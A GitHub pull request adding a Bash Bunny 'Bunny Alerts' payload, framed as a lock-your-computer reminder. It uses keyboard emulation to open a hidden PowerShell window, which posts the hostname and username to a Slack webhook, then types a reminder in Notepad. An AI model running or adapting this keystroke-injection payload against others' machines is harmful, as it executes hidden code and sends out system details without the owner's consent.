Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Bunny Alerts payload sends a message to Slack #668

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open

Bunny Alerts payload sends a message to Slack #668

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
3 commits
Select commit Hold shift + click to select a range
ce3a93b
Bunny Alerts payload
gator-chomp Oct 1, 2023
2064a10
Update readme.md
gator-chomp Oct 1, 2023
75dd12b
Update alert.ps1
gator-chomp Oct 1, 2023
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
19 changes: 19 additions & 0 deletions payloads/library/general/BunnyAlerts/alert.ps1
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# Title: Bunny Alerts
# Description: Sends a message to Slack channel using incoming Webhook
# Author: Jesse Allen
# Version: 1.0
# Category: General
# Target: Windows

<#
.DESCRIPTION
This program will send a message to slack
#>

# options
$msg = "Hostname: ${env:computername}, Username: ${env:username} left their computer unlocked!"
$uriSlack = "<Your Slack Webhook Url>"
$body = ConvertTo-Json @{
text = $msg
}
Invoke-RestMethod -uri $uriSlack -Method Post -body $body -ContentType 'application/json' | Out-Null
34 changes: 34 additions & 0 deletions payloads/library/general/BunnyAlerts/payload.txt
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
# Title: Bunny Alerts
# Description: Sends a message to Slack channel, and writes message in notepad
# Author: Jesse Allen
# Version: 1.0
# Category: General
# Attackmodes: HID
# Target: Windows 10, 11

LED SETUP

GET SWITCH_POSITION

ATTACKMODE HID STORAGE

LED STAGE1
QUACK DELAY 1000
QUACK GUI r
QUACK DELAY 1000

LED STAGE2
# run PowerShell script

QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\alert.ps1')"
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I would recommend using a variable assignment for the drive label as not everyone's configuration will have the default BashBunny drive label. This makes user configuration much easier.

You can do this by adding it to the top of your payload. For example with line:

DRIVE_LABEL="BashBunny"
QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''$DRIVE_LABEL''').Name+'payloads\\$SWITCH_POSITION\alert.ps1')"

QUACK ENTER
QUACK DELAY 1000

LED STAGE3
# open notepad and write message

RUN WIN Notepad.exe
QUACK DELAY 1000
QUACK STRING Friendly reminder to lock your computer!

LED FINISH
19 changes: 19 additions & 0 deletions payloads/library/general/BunnyAlerts/readme.md
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
## BunnyAlerts

Author: Jesse Allen
Target: Windows
Version: Version 1.0

## Description

Sends a message to a Slack channel using incoming Webhook, then opens notepad and writes a message.

## Configuration

HID STORAGE

## Requirements

Slack will need to create a Slack app and activate Incoming Webhooks. Replace the slack url in alerts.ps1 with your own webhook url.
https://api.slack.com/apps?new_app=1